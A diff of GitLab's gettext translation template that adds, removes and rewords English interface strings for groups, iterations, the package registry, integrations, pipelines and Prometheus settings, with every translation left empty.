+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16261,13 +15931,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16450,6 +16120,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16567,6 +16240,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16651,9 +16327,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16801,6 +16474,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16981,9 +16657,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17488,13 +17161,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17584,9 +17260,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17740,6 +17413,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17752,6 +17437,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17791,6 +17479,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17806,9 +17497,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17821,12 +17509,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17848,6 +17530,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17890,9 +17575,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17932,12 +17614,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17962,9 +17656,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18115,6 +17806,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18190,25 +17884,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18217,13 +17893,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18244,7 +17917,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18253,9 +17926,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18280,6 +17950,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18691,18 +18364,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18712,6 +18403,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18724,6 +18418,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18742,9 +18442,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18844,9 +18550,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18895,6 +18607,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18985,9 +18700,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19015,18 +18727,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19138,9 +18838,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19300,9 +18997,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19534,9 +19228,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19744,6 +19435,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19972,6 +19666,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20206,6 +19903,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20224,9 +19930,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20446,9 +20149,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20518,6 +20218,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20539,6 +20242,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20551,6 +20257,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20611,9 +20320,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21391,9 +21097,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21535,9 +21238,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21796,9 +21496,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21973,9 +21670,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22024,7 +21718,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22081,13 +21775,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22285,9 +21979,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22306,7 +21997,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22615,9 +22306,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22804,9 +22492,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22945,9 +22630,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23584,10 +23266,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23665,6 +23347,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23695,6 +23380,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23719,9 +23410,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23773,6 +23461,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23782,15 +23473,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23836,6 +23527,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23866,6 +23563,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24058,9 +23761,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24265,10 +23965,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24280,9 +23980,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24292,16 +23989,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24421,10 +24124,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24442,12 +24145,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24559,9 +24268,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24712,13 +24418,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24763,10 +24469,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24778,6 +24484,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25390,6 +25102,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25675,9 +25390,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25705,6 +25417,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25717,9 +25432,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25768,15 +25480,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25825,9 +25531,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26443,9 +26146,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26461,9 +26161,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26548,21 +26245,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26578,18 +26272,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26605,9 +26290,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26620,6 +26302,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26635,7 +26320,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26644,6 +26329,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26653,9 +26341,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26674,9 +26359,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26800,13 +26482,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
